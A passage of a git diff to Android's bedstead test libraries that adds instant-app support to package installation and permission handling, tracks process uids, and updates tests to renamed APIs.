- /** See {@link Activity#finish()}. */
- void finish();
-
- /** See {@link Activity#isFinishing}. */
- boolean isFinishing();
-
- /** See {@link Activity#startActivity}. */
- void startActivity(Intent intent);
-
- /** See {@link Activity#startActivity}. */
- void startActivity(Intent intent, Bundle options);
-}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/ProfileOwner.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/ProfileOwner.java
index d8b557f..e475d25 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/ProfileOwner.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/devicepolicy/ProfileOwner.java
@@ -47,7 +47,8 @@
@Override
public void remove() {
- if (!Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S)) {
+ if (!Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S)
+ || TestApis.packages().instrumented().isInstantApp()) {
removePreS();
return;
}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
index 55ddb73..6dad0b8 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Package.java
@@ -20,6 +20,7 @@
import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
import static android.Manifest.permission.QUERY_ALL_PACKAGES;
import static android.content.pm.ApplicationInfo.FLAG_STOPPED;
+import static android.content.pm.ApplicationInfo.FLAG_SYSTEM;
import static android.content.pm.PackageManager.GET_PERMISSIONS;
import static android.content.pm.PackageManager.MATCH_UNINSTALLED_PACKAGES;
import static android.content.pm.PackageManager.PERMISSION_GRANTED;
@@ -436,7 +437,7 @@
.addOperand("-n")
.executeAndParseOutput(o -> parsePsOutput(o).stream()
.filter(p -> p.mPackageName.equals(mPackageName))
- .map(p -> new ProcessReference(this, p.mPid,
+ .map(p -> new ProcessReference(this, p.mPid, p.mUid,
TestApis.users().find(p.mUserId))))
.collect(Collectors.toSet());
} catch (AdbException e) {
@@ -449,7 +450,9 @@
.skip(1) // Skip the title line
.map(s -> s.split("\\s+"))
.map(m -> new ProcessInfo(
- m[8], Integer.parseInt(m[1]), Integer.parseInt(m[0]) / PIDS_PER_USER_ID))
+ m[8], Integer.parseInt(m[1]),
+ Integer.parseInt(m[0]),
+ Integer.parseInt(m[0]) / PIDS_PER_USER_ID))
.collect(Collectors.toSet());
}
@@ -513,6 +516,11 @@
PackageInfo packageInfo = packageInfoFromAnyUser(GET_PERMISSIONS);
if (packageInfo == null) {
+ if (TestApis.packages().instrumented().isInstantApp()) {
+ Log.i(LOG_TAG, "Tried to get requestedPermissions for "
+ + mPackageName + " but can't on instant apps");
+ return new HashSet<>();
+ }
throw new NeneException("Error getting requestedPermissions, does not exist");
}
@@ -773,24 +781,45 @@
return Packages.parseDumpsys().mPackages.containsKey(mPackageName);
}
+ /**
+ * {@code true} if the package is installed in the device's system image.
+ */
+ @Experimental
+ public boolean hasSystemFlag() {
+ ApplicationInfo appInfo = applicationInfoFromAnyUser(/* flags= */ 0);
+
+ if (appInfo == null) {
+ throw new NeneException("Package not installed: " + this);
+ }
+
+ return (appInfo.flags & FLAG_SYSTEM) > 0;
+ }
+
+ @Experimental
+ public boolean isInstantApp() {
+ return sPackageManager.isInstantApp(mPackageName);
+ }
+
private static final class ProcessInfo {
final String mPackageName;
final int mPid;
+ final int mUid;
final int mUserId;
- public ProcessInfo(String packageName, int pid, int userId) {
+ ProcessInfo(String packageName, int pid, int uid, int userId) {
if (packageName == null) {
throw new NullPointerException();
}
mPackageName = packageName;
mPid = pid;
+ mUid = uid;
mUserId = userId;
}
@Override
public String toString() {
return "ProcessInfo{packageName=" + mPackageName + ", pid="
- + mPid + ", userId=" + mUserId + "}";
+ + mPid + ", uid=" + mUid + ", userId=" + mUserId + "}";
}
}
}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
index a6ad211..8c981b7 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/Packages.java
@@ -58,6 +58,8 @@
import com.android.bedstead.nene.utils.Versions;
import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+import org.junit.AssumptionViolatedException;
+
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
@@ -196,6 +198,15 @@
throw new NullPointerException();
}
+ if (!Versions.meetsMinimumSdkVersionRequirement(R)
+ || TestApis.packages().instrumented().isInstantApp()) {
+ AdbPackageParser.ParseResult packages = parseDumpsys();
+ return packages.mPackages.values().stream()
+ .filter(p -> p.installedOnUsers().contains(user))
+ .map(p -> find(p.packageName()))
+ .collect(Collectors.toSet());
+ }
+
if (user.equals(TestApis.users().instrumented())) {
return TestApis.context().instrumentedContext().getPackageManager()
.getInstalledPackages(/* flags= */ 0)
@@ -204,14 +215,6 @@
.collect(Collectors.toSet());
}
- if (!Versions.meetsMinimumSdkVersionRequirement(R)) {
- AdbPackageParser.ParseResult packages = parseDumpsys();
- return packages.mPackages.values().stream()
- .filter(p -> p.installedOnUsers().contains(user))
- .map(p -> find(p.packageName()))
- .collect(Collectors.toSet());
- }
-
try (PermissionContext p = TestApis.permissions()
.withPermission(INTERACT_ACROSS_USERS_FULL)) {
return TestApis.context().androidContextAsUser(user).getPackageManager()
@@ -325,8 +328,8 @@
*
* <p>If the package is marked testOnly, it will still be installed.
*
- * <p>On versions of Android prior to Q, this will return null. On other versions it will return
- * the installed package.
+ * <p>On versions of Android prior to Q, or when running as an instant app, this will return
+ * null. On other versions it will return the installed package.
*/
@Nullable
public Package install(UserReference user, byte[] apkFile) {
@@ -343,6 +346,31 @@
+ "(Trying to install into user " + user + ")");
}
+ if (TestApis.packages().instrumented().isInstantApp()) {
+ // We should install using stdin with the byte array
+ try {
+ ShellCommand.builderForUser(user, "pm install")
+ .addOperand("-t") // Allow installing test apks
+ .addOperand("-r") // Replace existing apps
+ .addOption("-S", apkFile.length) // Install from stdin
+ .writeToStdIn(apkFile)
+ .validate(ShellCommandUtils::startsWithSuccess)
+ .execute();
+ } catch (AdbException e) {
+ throw new NeneException("Error installing from instant app", e);
+ }
+
+ // Arbitrary sleep because the shell command doesn't block and we can't listen for
+ // the broadcast (instant app)
+ try {
+ Thread.sleep(10_000);
+ } catch (InterruptedException e) {
+ throw new NeneException("Interrupted while waiting for install", e);
+ }
+
+ return null;
+ }
+
// This is not inside the try because if the install is unsuccessful we don't want to await
// the broadcast
BlockingBroadcastReceiver broadcastReceiver =
@@ -387,7 +415,6 @@
}
}
}
-
return waitForPackageAddedBroadcast(broadcastReceiver);
} catch (IOException e) {
throw new NeneException("Could not install package", e);
@@ -404,6 +431,11 @@
File outputDir = Environment.getExternalStorageDirectory();
File outputFile = null;
+ if (TestApis.packages().instrumented().isInstantApp()) {
+ // We can't manage files as an instant app, so we must skip this test
+ throw new AssumptionViolatedException("Cannot install packages as instant app");
+ }
+
try (PermissionContext p =
TestApis.permissions().withPermissionOnVersion(R, MANAGE_EXTERNAL_STORAGE)) {
// TODO(b/202705721): Replace this with fixed name
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/ProcessReference.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/ProcessReference.java
index c14417b..5a42583 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/ProcessReference.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/packages/ProcessReference.java
@@ -23,15 +23,17 @@
public final class ProcessReference {
private final Package mPackage;
- private final int mProcessId;
+ private final int mPid;
+ private final int mUid;
private final UserReference mUser;
- ProcessReference(Package pkg, int processId, UserReference user) {
+ ProcessReference(Package pkg, int pid, int uid, UserReference user) {
if (pkg == null) {
throw new NullPointerException();
}
mPackage = pkg;
- mProcessId = processId;
+ mPid = pid;
+ mUid = uid;
mUser = user;
}
@@ -46,7 +48,14 @@
* Get the pid of this process.
*/
public int pid() {
- return mProcessId;
+ return mPid;
+ }
+
+ /**
+ * Get the uid of this process.
+ */
+ public int uid() {
+ return mUid;
}
/**
@@ -60,7 +69,7 @@
@Override
public int hashCode() {
- return mPackage.hashCode() + mProcessId + mUser.hashCode();
+ return mPackage.hashCode() + mPid + mUser.hashCode();
}
@Override
@@ -71,12 +80,13 @@
ProcessReference other = (ProcessReference) obj;
return other.mUser.equals(mUser)
- && other.mProcessId == mProcessId
+ && other.mPid == mPid
&& other.mPackage.equals(mPackage);
}
@Override
public String toString() {
- return "ProcessReference{package=" + mPackage + ", processId=" + mProcessId + ", user=" + mUser + "}";
+ return "ProcessReference{package=" + mPackage
+ + ", processId=" + mPid + ", user=" + mUser + "}";
}
}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContextImpl.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContextImpl.java
index f7f3a59..2336fd0 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContextImpl.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/PermissionContextImpl.java
@@ -16,6 +16,7 @@
package com.android.bedstead.nene.permissions;
+import com.android.bedstead.nene.TestApis;
import com.android.bedstead.nene.exceptions.NeneException;
import com.android.bedstead.nene.utils.Versions;
@@ -74,6 +75,18 @@
}
/**
+ * See {@link Permissions#withPermissionOnVersionAtLeast(int, String...)}
+ */
+ public PermissionContextImpl withPermissionOnVersionAtLeast(
+ int sdkVersion, String... permissions) {
+ if (Versions.meetsMinimumSdkVersionRequirement(sdkVersion)) {
+ return withPermission(permissions);
+ }
+
+ return this;
+ }
+
+ /**
* See {@link Permissions#withoutPermission(String...)}
*/
public PermissionContextImpl withoutPermission(String... permissions) {
@@ -85,6 +98,11 @@
}
}
+ if (TestApis.packages().instrumented().isInstantApp()) {
+ throw new NeneException(
+ "Tests which use withoutPermission must not run as instant apps");
+ }
+
mDeniedPermissions.addAll(Arrays.asList(permissions));
mPermissions.applyPermissions();
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java
index 88aef56..f9e1347 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/permissions/Permissions.java
@@ -129,6 +129,29 @@
/**
* Enter a {@link PermissionContext} where the given permissions are granted only when running
+ * on the given version or above.
+ *
+ * <p>If the permissions cannot be granted, and are not already granted, an exception will be
+ * thrown.
+ *
+ * <p>If the version does not match, the permission context will not change.
+ */
+ public PermissionContextImpl withPermissionOnVersionAtLeast(
+ int minSdkVersion, String... permissions) {
+ if (mPermissionContexts.isEmpty()) {
+ recordExistingPermissions();
+ }
+
+ PermissionContextImpl permissionContext = new PermissionContextImpl(this);
+ mPermissionContexts.add(permissionContext);
+
+ permissionContext.withPermissionOnVersionAtLeast(minSdkVersion, permissions);
+
+ return permissionContext;
+ }
+
+ /**
+ * Enter a {@link PermissionContext} where the given permissions are granted only when running
* on the given version.
*
* <p>If the permissions cannot be granted, and are not already granted, an exception will be
@@ -191,6 +214,15 @@
return;
}
+ if (TestApis.packages().instrumented().isInstantApp()) {
+ // Instant Apps aren't able to know the permissions of shell so we can't know if we can
+ // adopt it - we'll assume we can adopt and log
+ Log.i(LOG_TAG,
+ "Adopting all shell permissions as can't check shell: " + mPermissionContexts);
+ ShellCommandUtils.uiAutomation().adoptShellPermissionIdentity();
+ return;
+ }
+
if (SUPPORTS_ADOPT_SHELL_PERMISSIONS) {
ShellCommandUtils.uiAutomation().dropShellPermissionIdentity();
}
@@ -350,6 +382,7 @@
mExistingPermissions = ShellCommandUtils.uiAutomation().getAdoptedShellPermissions();
}
+ @SuppressWarnings("NewApi")
private void restoreExistingPermissions() {
if (!Versions.meetsMinimumSdkVersionRequirement(Build.VERSION_CODES.S)) {
return;
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
index 8bc50dd..0b11f7a 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
@@ -17,6 +17,7 @@
package com.android.bedstead.nene.users;
import static android.Manifest.permission.CREATE_USERS;
+import static android.Manifest.permission.INTERACT_ACROSS_USERS;
import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
import static android.os.Build.VERSION.SDK_INT;
import static android.os.Build.VERSION_CODES.S;
@@ -25,11 +26,12 @@
import static com.android.bedstead.nene.users.UserType.MANAGED_PROFILE_TYPE_NAME;
import static com.android.bedstead.nene.users.UserType.SECONDARY_USER_TYPE_NAME;
import static com.android.bedstead.nene.users.UserType.SYSTEM_USER_TYPE_NAME;
+import static com.android.bedstead.nene.utils.Versions.S_V2;
import android.app.ActivityManager;
+import android.content.Context;
import android.content.pm.UserInfo;
import android.os.Build;
-import android.os.SystemProperties;
import android.os.UserHandle;
import android.os.UserManager;
@@ -64,7 +66,6 @@
static final int SYSTEM_USER_ID = 0;
private static final Duration WAIT_FOR_USER_TIMEOUT = Duration.ofMinutes(4);
- private static final String PROPERTY_STOP_BG_USERS_ON_SWITCH = "fw.stop_bg_users_on_switch";
private Map<Integer, AdbUser> mCachedUsers = null;
private Map<String, UserType> mCachedUserTypes = null;
@@ -439,32 +440,19 @@
}
/**
- * Get the stopBgUsersOnSwitch property.
- *
- * <p>This affects if background users will be swapped when switched away from on some devices.
- *
- * <p>If the property is not set, then {@code false} will be returned.
- */
- public boolean getStopBgUsersOnSwitch() {
- if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
- return false;
- }
-
- return SystemProperties.getBoolean(PROPERTY_STOP_BG_USERS_ON_SWITCH, /* def= */ true);
- }
-
- /**
* Set the stopBgUsersOnSwitch property.
*
* <p>This affects if background users will be swapped when switched away from on some devices.
*/
- public void setStopBgUsersOnSwitch(boolean stop) {
- if (!Versions.meetsMinimumSdkVersionRequirement(S)) {
+ public void setStopBgUsersOnSwitch(int value) {
+ if (!Versions.meetsMinimumSdkVersionRequirement(S_V2)) {
return;
}
-
- // TODO(203752848): Re-enable this once we can set it
-// TestApis.systemProperties().set(PROPERTY_STOP_BG_USERS_ON_SWITCH, stop ? "1" : "0");
+ Context context = TestApis.context().instrumentedContext();
+ try (PermissionContext p = TestApis.permissions()
+ .withPermission(INTERACT_ACROSS_USERS)) {
+ context.getSystemService(ActivityManager.class).setStopUserOnSwitch(value);
+ }
}
@Nullable
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Tags.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Tags.java
index 901d586..5d80cec 100644
--- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Tags.java
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/Tags.java
@@ -27,6 +27,7 @@
public static final String USES_DEVICESTATE = "uses_devicestate";
public static final String USES_NOTIFICATIONS = "uses_notifications";
+ public static final String INSTANT_APP = "instant_app";
private Tags() {
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java
index e6f0f84..6b0620f 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java
@@ -37,7 +37,7 @@
import com.android.bedstead.nene.permissions.PermissionContext;
import com.android.bedstead.nene.users.UserReference;
import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
import com.android.bedstead.testapp.TestAppProvider;
import com.android.queryable.queries.StringQuery;
@@ -89,7 +89,7 @@
@BeforeClass
public static void setupClass() throws Exception {
try (PermissionContext p = TestApis.permissions()
- .withPermissionOnVersion(R, MANAGE_EXTERNAL_STORAGE)) {
+ .withPermissionOnVersionAtLeast(R, MANAGE_EXTERNAL_STORAGE)) {
sTestApp.writeApkFile(sTestAppApkFile);
}
}
@@ -97,7 +97,7 @@
@AfterClass
public static void teardownClass() throws Exception {
try (PermissionContext p = TestApis.permissions()
- .withPermissionOnVersion(R, MANAGE_EXTERNAL_STORAGE)) {
+ .withPermissionOnVersionAtLeast(R, MANAGE_EXTERNAL_STORAGE)) {
sTestAppApkFile.delete();
}
}
@@ -208,7 +208,7 @@
@Test
@EnsureHasSecondaryUser
public void grantPermission_permissionIsGranted() {
- try (TestAppInstanceReference instance = sTestApp.install()) {
+ try (TestAppInstance instance = sTestApp.install()) {
sTestApp.pkg().grantPermission(USER_SPECIFIC_PERMISSION);
assertThat(sTestApp.pkg().hasPermission(USER_SPECIFIC_PERMISSION)).isTrue();
@@ -219,8 +219,8 @@
@EnsureHasSecondaryUser
@RequireRunOnSystemUser // TODO(b/201319776): this should be anything but secondary user
public void grantPermission_permissionIsUserSpecific_permissionIsGrantedOnlyForThatUser() {
- try (TestAppInstanceReference instance1 = sTestApp.install();
- TestAppInstanceReference instance2 = sTestApp.install(sDeviceState.secondaryUser())) {
+ try (TestAppInstance instance1 = sTestApp.install();
+ TestAppInstance instance2 = sTestApp.install(sDeviceState.secondaryUser())) {
sTestApp.pkg().grantPermission(sDeviceState.secondaryUser(), USER_SPECIFIC_PERMISSION);
@@ -271,7 +271,7 @@
@Test
public void denyPermission_permissionIsNotGranted() {
- try (TestAppInstanceReference instance = sTestApp.install()) {
+ try (TestAppInstance instance = sTestApp.install()) {
sTestApp.pkg().grantPermission(USER_SPECIFIC_PERMISSION);
sTestApp.pkg().denyPermission(USER_SPECIFIC_PERMISSION);
@@ -304,7 +304,7 @@
@Test
public void denyPermission_installPermission_throwsException() {
- try (TestAppInstanceReference instance = sTestApp.install()) {
+ try (TestAppInstance instance = sTestApp.install()) {
assertThrows(NeneException.class, () ->
sTestApp.pkg().denyPermission(INSTALL_PERMISSION));
}
@@ -319,7 +319,7 @@
@Test
public void denyPermission_alreadyDenied_doesNothing() {
- try (TestAppInstanceReference instance = sTestApp.install()) {
+ try (TestAppInstance instance = sTestApp.install()) {
sTestApp.pkg().denyPermission(USER_SPECIFIC_PERMISSION);
sTestApp.pkg().denyPermission(USER_SPECIFIC_PERMISSION);
@@ -331,8 +331,8 @@
@EnsureHasSecondaryUser
@RequireRunOnSystemUser // TODO(201319776): Just needs to be not the secondary user
public void denyPermission_permissionIsUserSpecific_permissionIsDeniedOnlyForThatUser() {
- try (TestAppInstanceReference instance1 = sTestApp.install();
- TestAppInstanceReference instance2 = sTestApp.install(sDeviceState.secondaryUser())) {
+ try (TestAppInstance instance1 = sTestApp.install();
+ TestAppInstance instance2 = sTestApp.install(sDeviceState.secondaryUser())) {
sTestApp.pkg().grantPermission(USER_SPECIFIC_PERMISSION);
sTestApp.pkg().grantPermission(sDeviceState.secondaryUser(), USER_SPECIFIC_PERMISSION);
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackagesTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackagesTest.java
index 01fbcf6..a9f5c73 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackagesTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackagesTest.java
@@ -34,7 +34,7 @@
import com.android.bedstead.nene.users.UserReference;
import com.android.bedstead.nene.utils.Versions;
import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
import com.android.bedstead.testapp.TestAppProvider;
import com.android.compatibility.common.util.FileUtils;
@@ -328,12 +328,12 @@
@Ignore
// TODO: .exists() doesn't return true when the package is kept - restore this functionality
public void keepUninstalledPackages_packageIsUninstalled_packageStillExists() {
- try (TestAppInstanceReference testAppInstanceReference = sTestApp.install()) {
+ try (TestAppInstance testAppInstance = sTestApp.install()) {
TestApis.packages().keepUninstalledPackages()
.add(sTestApp.pkg())
.commit();
- testAppInstanceReference.uninstall();
+ testAppInstance.uninstall();
assertThat(sTestApp.pkg().exists()).isTrue();
} finally {
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java
index f7ecee1..f683175 100644
--- a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/users/UsersTest.java
@@ -16,6 +16,9 @@
package com.android.bedstead.nene.users;
+import static android.app.ActivityManager.STOP_USER_ON_SWITCH_DEFAULT;
+import static android.app.ActivityManager.STOP_USER_ON_SWITCH_FALSE;
+import static android.app.ActivityManager.STOP_USER_ON_SWITCH_TRUE;
import static android.os.Build.VERSION.SDK_INT;
import static com.android.bedstead.harrier.DeviceState.UserType.SYSTEM_USER;
@@ -487,9 +490,8 @@
@EnsureHasSecondaryUser
@RequireHeadlessSystemUserMode
public void switch_hasSetStopBgUsersOnSwitch_stopsUser() throws Exception {
- boolean originalStopBgUsersOnSwitch = TestApis.users().getStopBgUsersOnSwitch();
try {
- TestApis.users().setStopBgUsersOnSwitch(true);
+ TestApis.users().setStopBgUsersOnSwitch(STOP_USER_ON_SWITCH_TRUE);
TestApis.users().system().switchTo();
Poll.forValue("Secondary user running",
@@ -501,22 +503,20 @@
assertThat(sDeviceState.secondaryUser().isRunning()).isFalse();
} finally {
sDeviceState.secondaryUser().start();
- TestApis.users().setStopBgUsersOnSwitch(originalStopBgUsersOnSwitch);
+ TestApis.users().setStopBgUsersOnSwitch(STOP_USER_ON_SWITCH_DEFAULT);
}
}
@Test
@RequireRunOnSecondaryUser
public void switch_hasSetStopBgUsersOnSwitchFalse_doesNotStopUser() {
- boolean originalStopBgUsersOnSwitch = TestApis.users().getStopBgUsersOnSwitch();
-
try {
- TestApis.users().setStopBgUsersOnSwitch(false);
+ TestApis.users().setStopBgUsersOnSwitch(STOP_USER_ON_SWITCH_FALSE);
TestApis.users().system().switchTo();
assertThat(sDeviceState.secondaryUser().isRunning()).isTrue();
} finally {
- TestApis.users().setStopBgUsersOnSwitch(originalStopBgUsersOnSwitch);
+ TestApis.users().setStopBgUsersOnSwitch(STOP_USER_ON_SWITCH_DEFAULT);
sDeviceState.secondaryUser().start();
sDeviceState.secondaryUser().switchTo();
}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ClassInfo.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ClassInfo.java
index a964335..8cd36b4 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ClassInfo.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/info/ClassInfo.java
@@ -24,6 +24,9 @@
* <p>This is used instead of {@link Class} so that it can be easily serialized.
*/
public class ClassInfo implements Serializable {
+
+ private static final long serialVersionUID = 1;
+
private final String mClassName;
public ClassInfo(Object obj) {
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQuery.java
index 106bf7f..0c66fb3 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQuery.java
@@ -69,4 +69,4 @@
*/
@CheckResult
ListQuery<E, Integer, IntegerQuery<E>> integerListValue();
-}
\ No newline at end of file
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQueryHelper.java
index 3567384..6d98ec4 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleKeyQueryHelper.java
@@ -28,6 +28,8 @@
public final class BundleKeyQueryHelper<E extends Queryable> implements BundleKeyQuery<E>,
Serializable {
+ private static final long serialVersionUID = 1;
+
private final E mQuery;
private Boolean mExpectsToExist = null;
private StringQueryHelper<E> mStringQuery = null;
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleQueryHelper.java
index 0907b99..4b901fc 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/BundleQueryHelper.java
@@ -31,6 +31,8 @@
public final class BundleQueryHelper<E extends Queryable> implements BundleQuery<E>,
Serializable {
+ private static final long serialVersionUID = 1;
+
private final E mQuery;
private final Map<String, BundleKeyQueryHelper<E>> mKeyQueryHelpers = new HashMap<>();
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ClassQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ClassQueryHelper.java
index 3b13473..494dcdd 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ClassQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ClassQueryHelper.java
@@ -25,6 +25,8 @@
public final class ClassQueryHelper<E extends Queryable>
implements ClassQuery<E>, Serializable {
+ private static final long serialVersionUID = 1;
+
private final E mQuery;
private final StringQueryHelper<E> mClassName;
private final StringQueryHelper<E> mSimpleName;
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/EnumQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/EnumQueryHelper.java
index 40d1d1e..020c07a 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/EnumQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/EnumQueryHelper.java
@@ -29,6 +29,8 @@
public final class EnumQueryHelper <E extends Queryable, F> implements EnumQuery<E, F>,
Serializable {
+ private static final long serialVersionUID = 1;
+
private final E mQuery;
private Set<F> mIsEqualTo = null;
private Set<F> mIsNotEqualTo = null;
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntegerQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntegerQueryHelper.java
index 2f622ef..a9b8a1b 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntegerQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntegerQueryHelper.java
@@ -26,6 +26,8 @@
public final class IntegerQueryHelper<E extends Queryable> implements IntegerQuery<E>,
Serializable {
+ private static final long serialVersionUID = 1;
+
private Integer mEqualToValue = null;
private Integer mGreaterThanValue = null;
private Integer mGreaterThanOrEqualToValue = null;
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentQueryHelper.java
index f0d1911..4da9a7d 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/IntentQueryHelper.java
@@ -27,6 +27,8 @@
public final class IntentQueryHelper<E extends Queryable> implements IntentQuery<E>,
Serializable {
+ private static final long serialVersionUID = 1;
+
private final E mQuery;
private final StringQueryHelper<E> mAction;
private final BundleQueryHelper<E> mExtras;
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQuery.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQuery.java
index 15d6272..d1e3081 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQuery.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQuery.java
@@ -75,4 +75,4 @@
* {@link #contains(Query[])}.
*/
<H extends Collection<F>> E doesNotContainAny(H... collections);
-}
\ No newline at end of file
+}
diff --git a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQueryHelper.java b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQueryHelper.java
index a2957f7..bee2222 100644
--- a/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQueryHelper.java
+++ b/common/device-side/bedstead/queryable/src/main/java/com/android/queryable/queries/ListQueryHelper.java
@@ -29,6 +29,8 @@
public final class ListQueryHelper<E extends Queryable, F, G extends Query<F>>
implements ListQuery<E, F, G>, Serializable {
+ private static final long serialVersionUID = 1;
+
private E mQuery;
private final IntegerQueryHelper<E> mSizeQuery;
private final List<G> mContainsByQuery = new ArrayList<>();
